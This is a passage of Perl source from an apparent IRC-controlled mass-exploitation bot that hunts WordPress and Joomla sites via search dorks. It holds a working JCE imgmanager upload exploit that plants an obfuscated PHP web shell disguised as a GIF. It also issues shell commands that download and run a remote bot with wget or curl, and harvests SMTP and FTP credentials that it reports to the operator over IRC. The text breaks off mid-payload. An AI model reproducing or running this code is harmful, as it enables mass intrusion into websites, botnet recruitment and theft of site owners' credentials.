  1813.                         if ($ck8 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1814.                         if ($ck8 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1815.                         if ($ck8 =~ /uid=(.*?)gid=/){$uid=$1;}
  1816.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung8 14[3$os14][3safemode10:3$safe14]");
  1817.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1818.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1819.        
  1820.  
  1821.                    
  1822.                     }  
  1823.                     }
  1824.                     }
  1825.                     if ($cek9 =~ /Unable to open image/i){
  1826.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 9 12]4http://$site 8+ 11$themes14 please wait...");
  1827.                 if ($cek9 =~ m/\/wp-content\/(.*)\.php/i){
  1828.                 $error = $1;
  1829.                 my $respons = "error://".$site."/wp-content/".$error;
  1830.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1831.                 }
  1832.                 if ($cek9 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1833.                 $path9 = $1;
  1834.                    
  1835.                    
  1836.                
  1837.                     my $kuncung9 = "http://".$site."/wp-content/".$path9."d24fc629e2bf070153e29eba3ee14cb3.php";
  1838.                     my $dara = "crack://".$site."/wp-content/".$path9."d24fc629e2bf070153e29eba3ee14cb3.php";
  1839.                 my $ck9 = &get_content($kuncung9);sleep(3);
  1840.                 if ($ck9 =~ /BArNEr/i) {
  1841.                         my $safe = "";
  1842.                         my $os   = "";
  1843.                         my $uid  = "";
  1844.                         if ($ck9 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1845.                         if ($ck9 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1846.                         if ($ck9 =~ /uid=(.*?)gid=/){$uid=$1;}
  1847.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung9 14[3$os14][3safemode10:3$safe14]");
  1848.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1849.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1850.        
  1851.  
  1852.                    
  1853.                     }  
  1854.                     }
  1855.                     }
  1856.                     if ($cek10 =~ /Unable to open image/i){
  1857.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 10 12]4http://$site 8+ 11$themes14 please wait...");
  1858.                 if ($cek10 =~ m/\/wp-content\/(.*)\.php/i){
  1859.                 $error = $1;
  1860.                 my $respons = "error://".$site."/wp-content/".$error;
  1861.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1862.                 }
  1863.                 if ($cek10 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1864.                 $path10 = $1;
  1865.                    
  1866.                    
  1867.                
  1868.                     my $kuncung10 = "http://".$site."/wp-content/".$path10."d24fc629e2bf070153e29eba3ee14cb3.php";
  1869.                     my $dara = "crack://".$site."/wp-content/".$path10."d24fc629e2bf070153e29eba3ee14cb3.php";
  1870.                 my $ck10 = &get_content($kuncung10);sleep(3);
  1871.                 if ($ck10 =~ /BArNEr/i) {
  1872.                         my $safe = "";
  1873.                         my $os   = "";
  1874.                         my $uid  = "";
  1875.                         if ($ck10 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1876.                         if ($ck10 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1877.                         if ($ck10 =~ /uid=(.*?)gid=/){$uid=$1;}
  1878.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung10 14[3$os14][3safemode10:3$safe14]");
  1879.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1880.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1881.        
  1882.  
  1883.                    
  1884.                     }  
  1885.                     }
  1886.                     }
  1887.                     if ($cek11 =~ /Unable to open image/i){
  1888.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 11 12]4http://$site 8+ 11$themes14 please wait...");
  1889.                 if ($cek11 =~ m/\/wp-content\/(.*)\.php/i){
  1890.                 $error = $1;
  1891.                 my $respons = "error://".$site."/wp-content/".$error;
  1892.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1893.                 }
  1894.                 if ($cek11 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1895.                 $path11 = $1;
  1896.                    
  1897.                    
  1898.                
  1899.                     my $kuncung11 = "http://".$site."/wp-content/".$path11."d24fc629e2bf070153e29eba3ee14cb3.php";
  1900.                     my $dara = "crack://".$site."/wp-content/".$path11."d24fc629e2bf070153e29eba3ee14cb3.php";
  1901.                 my $ck11 = &get_content($kuncung11);sleep(3);
  1902.                 if ($ck11 =~ /BArNEr/i) {
  1903.                         my $safe = "";
  1904.                         my $os   = "";
  1905.                         my $uid  = "";
  1906.                         if ($ck11 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1907.                         if ($ck11 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1908.                         if ($ck11 =~ /uid=(.*?)gid=/){$uid=$1;}
  1909.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung11 14[3$os14][3safemode10:3$safe14]");
  1910.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1911.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1912.        
  1913.  
  1914.                    
  1915.                     }  
  1916.                     }
  1917.                     }
  1918.                     if ($cek12 =~ /Unable to open image/i){
  1919.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 12 12]4http://$site 8+ 11$themes14 please wait...");
  1920.                 if ($cek12 =~ m/\/wp-content\/(.*)\.php/i){
  1921.                 $error = $1;
  1922.                 my $respons = "error://".$site."/wp-content/".$error;
  1923.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1924.                 }
  1925.                 if ($cek12 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1926.                 $path12 = $1;
  1927.                    
  1928.                    
  1929.                
  1930.                     my $kuncung12 = "http://".$site."/wp-content/".$path12."d24fc629e2bf070153e29eba3ee14cb3.php";
  1931.                     my $dara = "crack://".$site."/wp-content/".$path12."d24fc629e2bf070153e29eba3ee14cb3.php";
  1932.                 my $ck12 = &get_content($kuncung12);sleep(3);
  1933.                 if ($ck12 =~ /BArNEr/i) {
  1934.                         my $safe = "";
  1935.                         my $os   = "";
  1936.                         my $uid  = "";
  1937.                         if ($ck12 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1938.                         if ($ck12 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1939.                         if ($ck12 =~ /uid=(.*?)gid=/){$uid=$1;}
  1940.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung12 14[3$os14][3safemode10:3$safe14]");
  1941.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1942.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1943.        
  1944.  
  1945.                    
  1946.                     }  
  1947.                     }
  1948.                     }
  1949.                     if ($cek13 =~ /Unable to open image/i){
  1950.                     &msg("$chan","$thumblogo14[10eXploiting14] 6[11#6]8bug12[8 13 12]4http://$site 8+ 11$themes14 please wait...");
  1951.                 if ($cek13 =~ m/\/wp-content\/(.*)\.php/i){
  1952.                 $error = $1;
  1953.                 my $respons = "error://".$site."/wp-content/".$error;
  1954.                 &msg("$admin","$thumblogo14[10path14] 11$respons ");
  1955.                 }
  1956.                 if ($cek13 =~ m/\/wp-content\/(.*)d24fc629e2bf070153e29eba3ee14cb3\.php/i){
  1957.                 $path13 = $1;
  1958.                    
  1959.                    
  1960.                
  1961.                     my $kuncung13 = "http://".$site."/wp-content/".$path13."d24fc629e2bf070153e29eba3ee14cb3.php";
  1962.                     my $dara = "crack://".$site."/wp-content/".$path13."d24fc629e2bf070153e29eba3ee14cb3.php";
  1963.                 my $ck13 = &get_content($kuncung13);sleep(3);
  1964.                 if ($ck13 =~ /BArNEr/i) {
  1965.                         my $safe = "";
  1966.                         my $os   = "";
  1967.                         my $uid  = "";
  1968.                         if ($ck13 =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1969.                         if ($ck13 =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1970.                         if ($ck13 =~ /uid=(.*?)gid=/){$uid=$1;}
  1971.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $kuncung13 14[3$os14][3safemode10:3$safe14]");
  1972.         &msg("$admin","$thumblogo5[4-5=4[8$engine4]5=4-5] 4 $dara 14[3$os14][3safemode10:3$safe14]");
  1973.         &msg("$chan","10$thumblogo http://$site 4[3$os4][3safemode10:3$safe4]");
  1974.        
  1975.  
  1976.                    
  1977.                     }  
  1978.                     }
  1979.                     }
  1980.            
  1981.                  }
  1982.                  
  1983.                
  1984.             }
  1985.        
  1986.         }
  1987.     }  
  1988. sub jce_exploit() {
  1989.     my $chan = $_[0];
  1990.     my $bug = $_[1];
  1991.     my $simpan = $_[2];
  1992.     my $dork = $_[3];
  1993.     my $engine = $_[4];
  1994.     my $count = 0;
  1995.     my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$jcelogo);
  1996.     my $num = scalar(@totexploit);
  1997.     if ($num > 0){
  1998.         foreach my $site(@totexploit){
  1999.         $count++;                  
  2000.                 if ($count == $num-1) { &msg("$chan","$jcelogo15$engine9 Mencari..."); }
  2001.                         my $petx = "http://".$site."images/stories/petx.php?baca";
  2002. my $petx2 = "cruck://".$site."images/stories/petx.php";
  2003.                         my $explore = "http://".$site."images/stories/explore.php?baca";
  2004. my $explore2 = "http://".$site."images/stories/explore.php";
  2005.  
  2006. my $colong = &get_content($petx); sleep(2);
  2007. my $colong2 = &get_content($explore); sleep(2);
  2008. my $safe = "";
  2009. my $os = "";
  2010. if($colong =~ /Peterson - Shell/i){
  2011. if ($colong =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  2012.     if ($colong =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  2013.     if ($colong =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
  2014.                      
  2015. &msg("$admin","$jcelogo4$engine 14$petx2 $safe $os "); sleep(2);
  2016. &msg("$chan","$jcelogo4$engine send to $nick 14 $safe $os "); sleep(2);
  2017. &msg("$nick","$jcelogo4$engine 14$petx2 $safe $os "); sleep(2);
  2018.  
  2019. &carismtp($petx,$chan,$site,$engine,$jcelogo);
  2020.     }
  2021. if($colong =~ /HACKERMIND/i){  
  2022. if ($colong =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  2023.     if ($colong =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  2024.     if ($colong =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
  2025.                      
  2026. &msg("$admin","$jcelogo4$engine 14$petx2 $safe $os "); sleep(2);                  
  2027. &msg("$chan","$jcelogo4$engine send to 14$safe $os  "); sleep(2);
  2028. &msg("$nick","$jcelogo4$engine 14$petx2 $safe $os "); sleep(2);
  2029. &carismtp($petx,$chan,$site,$engine,$jcelogo);
  2030.     }
  2031.  
  2032. if($colong2 =~ /UnKnown - Simple Shell/i){
  2033.  
  2034. if ($colong2 =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;}
  2035.     if ($colong2 =~ m/Uname : (.*?)<\/b>/){$os=$1;}
  2036.     if ($colong2 =~ m/Uid : (.*?)<\/br>/) {$id = $1;}
  2037.                      
  2038. &msg("$admin","$jcelogo4$engine 14$explore2 $safe $os "); sleep(2);
  2039. &msg("$nick","$jcelogo4$engine 14$explore2 $safe $os "); sleep(2);                         
  2040. &msg("$chan","$jcelogo4$engine send to $nick 14$safe $os "); sleep(2);
  2041.  
  2042. &carismtp($explore,$chan,$site,$engine,$jcelogo);
  2043.     }
  2044.                 my $test  = "http://".$site.$bug;
  2045.                 my $coba  = "http://".$site;
  2046.                 if ($coba =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $hajarhome = $2; }
  2047.                 my $shellz = "http://".$site."/images/stories/magic.php";
  2048.                                 my $shellz2 = "http://".$site."/images/stories/msgic.php.pHp";
  2049.                 my $crsmtp = "http://".$site."/images/stories/magic.php?baca";
  2050.         my $crsmtp2 = "http://".$site."/images/stories/magic.php.pHp?baca";
  2051.         &jce_cek_query($hajarhome);
  2052.                     my $fuck ="http://".$site."/images/stories/magic.php.png";
  2053. my $fuck2 ="http://".$site."/images/stories/magic.php.png?baca";
  2054.                     my $cek = &get_content($fuck);
  2055.                     if($cek =~ /GIF89aG/i){
  2056.                     &msg("$chan","$jcelogo15,1$engine 9ExpLoiting http://".$site." Loading. . . ");
  2057.  
  2058.                    
  2059.                     if ($cek =~ /BArNEr/i) {
  2060. &get_content($fuck."?cmd=cd%20/tmp;wget%20http://blackmarket.by/theme/bot.log;perl%20bot.log;rm%20-rf%20bot.log");
  2061. &get_content($fuck."?cmd=curl+-C+-+-O+20http://blackmarket.by/theme/bot.log%3Bperl+bot.log%3Brm+bot.log");
  2062.                     my $safe = ""; my $os = ""; my $uid = "";
  2063.                     if ($cek =~ m/SAFE_MODE :(.+?)<\/b><br/) {$safe = $1;}
  2064.                     if ($cek =~ m/Uname :(.+?)<\/b><br><form/g) {$os = $1;}
  2065.                     if ($cek =~ m/uid=(.*?)gid=/) {$uid = $1;}
  2066.                     &msg("$nick","$jcelogo15,1$engine 7$fuck (SafeMode=$safe) (OS=$os) uid=$uid $jcelogo"); 
  2067.                                         &msg("$admin","$jcelogo15,1$engine 8$fuck 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");
  2068.                     &msg("$chan","$jcelogo15,1$engine 9SHELL 8 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");
  2069.                     &carismtp($fuck2,$chan,$site,$engine,$jcelogo);
  2070.                 }
  2071. &jce_cek_query2($hajarhome);
  2072.                     my $fujce = &get_content($shellz);
  2073.                     if ($fujce =~ /BArNEr/i) {
  2074. &get_content($shellz."?cmd=cd%20/tmp;wget%20http://blackmarket.by/theme/bot.log;perl%20bot.log;rm%20-rf%20bot.log");
  2075. &get_content($shellz."?cmd=curl+-C+-+-O+20http://blackmarket.by/theme/bot.log%3Bperl+bot.log%3Brm+bot.log");
  2076.                     my $safe = ""; my $os = ""; my $uid = "";
  2077.                     if ($fujce =~ m/SAFE_MODE :(.+?)<\/b><br/) {$safe = $1;}
  2078.                     if ($fujce =~ m/Uname :(.+?)<\/b><br><form/g) {$os = $1;}
  2079.                     if ($fujce =~ m/uid=(.*?)gid=/) {$uid = $1;}
  2080.                     &msg("$nick","$jcelogo15,1$engine 7$shellz (SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");   
  2081.                                         &msg("$admin","$jcelogo15,1$engine 8$shellz 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");
  2082.                     &msg("$chan","$jcelogo15,1$engine 9SHELL 8 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");
  2083.                     &carismtp($crsmtp,$chan,$site,$engine,$jcelogo);
  2084.                 }
  2085. &jce_cek_query3($hajarhome);
  2086.                     my $fujce = &get_content($shellz2);
  2087.                     if ($fujce =~ /BArNEr/i) {
  2088. &get_content($shellz2."?cmd=cd%20/tmp;wget%20http://blackmarket.by/theme/bot.log;perl%20bot.logrm%20-rf%20bot.log");
  2089. &get_content($shellz2."?cmd=curl+-C+-+-O+20http://blackmarket.by/theme/bot.log%3Bperl+bot.log%3Brm+bot.log");
  2090.                     my $safe = ""; my $os = ""; my $uid = "";
  2091.                     if ($fujce2 =~ m/SAFE_MODE :(.+?)<\/b><br/) {$safe = $1;}
  2092.                     if ($fujce2 =~ m/Uname :(.+?)<\/b><br><form/g) {$os = $1;}
  2093.                     if ($fujce2 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  2094.                     &msg("$nick","$jcelogo15,1$engine 7$shellz2 (SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");  
  2095.                                         &msg("$admin","$jcelogo15,1$engine 8$shellz2 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");
  2096.                     &msg("$chan","$jcelogo15,1$engine 9SHELL 8 7(SafeMode=$safe) (OS=$os) uid=$uid $jcelogo");
  2097.                     &carismtp($crsmtp2,$chan,$site,$engine,$jcelogo);
  2098.                 }
  2099.             }
  2100.         }
  2101.     }
  2102. }
  2103.  
  2104. sub carismtp() {
  2105.     my $url    = $_[0];
  2106.     my $chan   = $_[1];
  2107.     my $site   = $_[2];
  2108.     my $engine = $_[3];
  2109.     my $logo   = $_[4];
  2110.     my $data   = &get_content($url);
  2111.     my $psite  = "http://".$site;
  2112.     if ($psite =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; }
  2113.     if ($data =~ m/smtphost/g && $data =~ m/smtppass/g || $data =~ m/ftp_host/g ) {
  2114.         if ($data =~ m/smtphost = '(.*)';/g) { $smtphost = $1; }
  2115.         if ($data =~ m/smtpport = '(.*)';/g) { $smtpport = $1; }
  2116.         if ($data =~ m/smtpuser = '(.*)';/g) { $smtpuser = $1; }
  2117.         if ($data =~ m/smtppass = '(.*)';/g) { $smtppass = $1; }
  2118.         if ($data =~ m/ftp_host = '(.*)';/g) { $ftp_host = $1; }
  2119.         if ($data =~ m/ftp_port = '(.*)';/g) { $ftp_port = $1; }
  2120.         if ($data =~ m/ftp_user = '(.*)';/g) { $ftp_user = $1; }
  2121.         if ($data =~ m/ftp_pass = '(.*)';/g) { $ftp_pass = $1; }
  2122.         &msg("$admin","3,1{-{4@11$engine4@3}-} 13http://$site 9[SMTP]: 15[$smtphost][$smtpport][$smtpuser][$smtppass] 9[FTP]: 15[$ftp_host][$ftp_port][$ftp_user][$ftp_pass] 4$jcelogo");
  2123.         &msg("$nick","3,1{-{4@11$engine4@3}-} 9[SMTP]: 15[$smtpuser] 9[FTP]: 15[$ftp_user] 4$jcelogo");
  2124.         &ftp_connect("http://target.com",$host,$ftp_user,$ftp_pass,$chan,$engine); sleep(2);
  2125.     }
  2126. }
  2127.  
  2128. sub jce_cek_queryhtx() {
  2129.     my $TARGET  = $_[0];
  2130.     ## Start Code ##
  2131. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2132. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2133. $header2 = "Host: $TARGET";
  2134. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2135. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2136. $header5 = "Content-Length: 2286"; #737
  2137. $header6 = "-----------------------------41184676334";
  2138. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2139. $header8 = '/';
  2140. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2141. $header10 = 'Content-Type: application/octet-stream';
  2142. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2143. $header12 = "0";
  2144. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="htx.gif"';
  2145. $header14 = 'Content-Type: image/gif';
  2146. $header15 = '';
  2147. $header16 = "";
  2148. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2149. $header18 = 'htx';
  2150. $header19 = 'Content-Disposition: form-data; name="action"';
  2151. $header20 = 'upload';
  2152. $header21 = "-----------------------------41184676334--";
  2153. $header22 = 'X-Request: JSON';
  2154. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2155. $header25 = 'json={"fn":"folderRename","args":["/htx.gif",".htaccess"]}';
  2156. $header24 = "Content-Length: ".length($header25)."";
  2157.     ## EOF COde ##
  2158.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2159.     print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5);
  2160.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2161.     close($remote);
  2162. }
  2163.  
  2164. sub jce_cek_query() {
  2165.     my $TARGET  = $_[0];
  2166.     ## Start Code ##
  2167. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2168. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2169. $header2 = "Host: $TARGET";
  2170. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2171. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2172. $header5 = "Content-Length: 2286"; #737
  2173. $header6 = "-----------------------------41184676334";
  2174. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2175. $header8 = '/';
  2176. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2177. $header10 = 'Content-Type: application/octet-stream';
  2178. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2179. $header12 = "0";
  2180. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2181. $header14 = 'Content-Type: image/gif';
  2182. $header15 = 'GIF89aG';
  2183. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('vUl6QuM4EP58VfwH46uURwsJY0+3AopgISyVjpZ4yn0BFLmJ221W4shkYHuI/34zadKXcuHY0+qqV1rm9ZmZx+NlpaSKFC+k0iKfuNvtg/U1MSbuhihYrt1JFAZu2O33YZwR+8Lunbtp+5en9bXWgyiFjnKVeNIh2+DUbeQja1GHwV/B4IZeDIdK0VI/HNI7R4v8y4ptEPxsHYTD6G3QtQYjmczAgg6ZmmNaEqFsSd2znNzmGBsDQ7Qr2Zh02wkH23CRiwiMXQeFRCYT7swLmBu2yUar5GSlhJ5O/PDkPIgu+3QBBOifn9OD5/U1npb8DaseGJnUXBVcaCDjR5ZtNMtMxt1sVo79jUHOzgbQp7p1fq+lgiCvOQ2Cy/4wS2XKmFVdOq7SNHATEe/+fjxOkRfLjGESd/pRN+kFK1JXPuFDoFRGrYt932IaBS14d7nNu0ok5OqBI4q6hNucgLQL6G9AB+IGKF0guK/yuMone7t7xzM2lfJ/BPCSaOC5A4rFqF5LfPhgcyTGYcPcz8HwxolGmWZxLZK2lJWK+TINnfBn0L0aU+fdP4LeyXLgGComvNSCZxZJdP3T68ugN4wG/f7QufOon8pW6Xscj49KWQtxpuJptDbLJrFu2hb2QqTt/rt1u2J2C1PxRxJtqIVB+dGnE9UL1KFi3w5U6giR1yZwCae5FH/zzi6Jcgpm+fWj+YDhEfXmbDxt6I/mzi0QUxWMtVBd6k5MEQigF9oI3bZU2+/NZA0OALwSVsdRynPwCBHmKTxXJgvl5FvlMqxq5cOBTk+KI4wqM772d5gxnAItcUGKVFVTkFLxcG/PZowiy7lJ1Sm1RYUsXdRiOr5wKHRHG6hYbGFH7a0dRyiuK5UTlGtg3FnzdlZh+FzLv5fi9vZUZYD161bqUdgyB02mMpLhuoJBX+ECJ8z0oFDp0dsNPZVMxvKkduChyItXEz0ra4d3/khGgj3u0DhY6Ko2rFOZS+h6HFceS02Z93uw9xHZkWawipTDgFmIrFe1KJjSxmErbpo1yJtlsJp/KeG6VSVYyLlVuSnDVOsX1VlSkvC8U1tN7CsGcPCv1chafKVozo822psobfzRa++TchBY8bGb1nt0r86T81R8oCRBTExpNFtksCB4HR3pbGJ6wSvtXU2i2LEbxzo3eLQyHonAfV4szsBTy+B1fHc44PRxFHPt4p4NYpymJc4d2Bkjw8NZPvDIU+dWhAbual1nSVHWDbbsHI100tRgflcorNbukYYVYzPyBPfCM7HLl6zowyqObEwSDSLv22OwvKx+g9AD8nmO3ItB18xiTQ0HxfStSXOJuaDq3Ukovlmj3xoaepsPeexlytM04l9s7G8ks9osk3z0pSv7cvXazBYQcY1uofivEOSbGObN/KGoQU2SrZQ5rwR++Y9gxG+2qC0fUHpVhsjcXOAPN0oJF5nnwxf1b0UphljE3PPtpmnjizn+AQ==')))); ?>";
  2184. $header17 = 'Content-Disposition: form-data; name="upload-name"';
  2185. $header18 = 'magic.php';
  2186. $header19 = 'Content-Disposition: form-data; name="action"';
  2187. $header20 = 'upload';
  2188. $header21 = "-----------------------------41184676334--";
  2189. $header22 = 'X-Request: JSON';
  2190. $header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
  2191. $header25 = 'json={"fn":"folderRename","args":["/magic.php.png","magic.php"]}';
  2192. $header24 = "Content-Length: ".length($header25)."";
  2193.     ## EOF COde ##
  2194.     my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"80") or return;
  2195.     print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n"; sleep(5);
  2196.     print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n"; sleep(3);
  2197.     close($remote);
  2198. }
  2199.  
  2200. sub jce_cek_query2() {
  2201.     my $TARGET  = $_[0];
  2202.     ## Start Code ##
  2203. $header1P = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
  2204. $header1P2 = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
  2205. $header2 = "Host: $TARGET";
  2206. $header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
  2207. $header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
  2208. $header5 = "Content-Length: 2286"; #737
  2209. $header6 = "-----------------------------41184676334";
  2210. $header7 = 'Content-Disposition: form-data; name="upload-dir"';
  2211. $header8 = '/';
  2212. $header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
  2213. $header10 = 'Content-Type: application/octet-stream';
  2214. $header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
  2215. $header12 = "0";
  2216. $header13 = 'Content-Disposition: form-data; name="Filedata"; filename="magic.php.png"';
  2217. $header14 = 'Content-Type: image/gif';
  2218. $header15 = 'GIF89aG';
  2219. $header16 = "<?php eval(gzinflate(str_rot13(base64_decode('vUl6QuM4EP58VfwH46uURwsJY0+3AopgISyVjpZ4yn0BFLmJ221W4shkYHuI/34zadKXcuHY0+qqV1rm9ZmZx+NlpaSKFC+k0iKfuNvtg/U1MSbuhihYrt1JFAZu2O33YZwR+8Lunbtp+5en9bXWgyiFjnKVeNIh2+DUbeQja1GHwV/B4IZeDIdK0VI/HNI7R4v8y4ptEPxsHYTD6G3QtQYjmczAgg6ZmmNaEqFsSd2znNzmGBsDQ7Qr2Zh02wkH23CRiwiMXQeFRCYT7swLmBu2yUar5GSlhJ5O/PDkPIgu+3QBBOifn9OD5/U1npb8DaseGJnUXBVcaCDjR5ZtNMtMxt1sVo79jUHOzgbQp7p1fq+lgiCvOQ2Cy/4wS2XKmFVdOq7SNHATEe/+fjxOkRfLjGESd/pRN+kFK1JXPuFDoFRGrYt932IaBS14d7nNu0ok5OqBI4q6hNucgLQL6G9AB+IGKF0guK/yuMone7t7xzM2lfJ/BPCSaOC5A4rFqF5LfPhgcyTGYcPcz8HwxolGmWZxLZK2lJWK+TINnfBn0L0aU+fdP4LeyXLgGComvNSCZxZJdP3T68ugN4wG/f7QufOon8pW6Xscj49KWQtxpuJptDbLJrFu2hb2QqTt/rt1u2J2C1PxRxJtqIVB+dGnE9UL1KFi3w5U6giR1yZwCae5FH/zzi6Jcgpm+fWj+YDhEfXmbDxt6I/mzi0QUxWMtVBd6k5MEQigF9oI3bZU2+/NZA0OALwSVsdRynPwCBHmKTxXJgvl5FvlMqxq5cOBTk+KI4wqM772d5gxnAItcUGKVFVTkFLxcG/PZowiy7lJ1Sm1RYUsXdRiOr5wKHRHG6hYbGFH7a0dRyiuK5UTlGtg3FnzdlZh+FzLv5fi9vZUZYD161bqUdgyB02mMpLhuoJBX+ECJ8z0oFDp0dsNPZVMxvKkduChyItXEz0ra4d3/khGgj3u0DhY6Ko2rFOZS+h6HFceS02Z93uw9xHZkWawipTDgFmIrFe1KJjSxmErbpo1yJtlsJp/KeG6VSVYyLlVuSnDVOsX1VlSkvC8U1tN7CsGcPCv1chafKVozo822psobfzRa++TchBY8bGb1nt0r86T81R8oCRBTExpNFtksCB4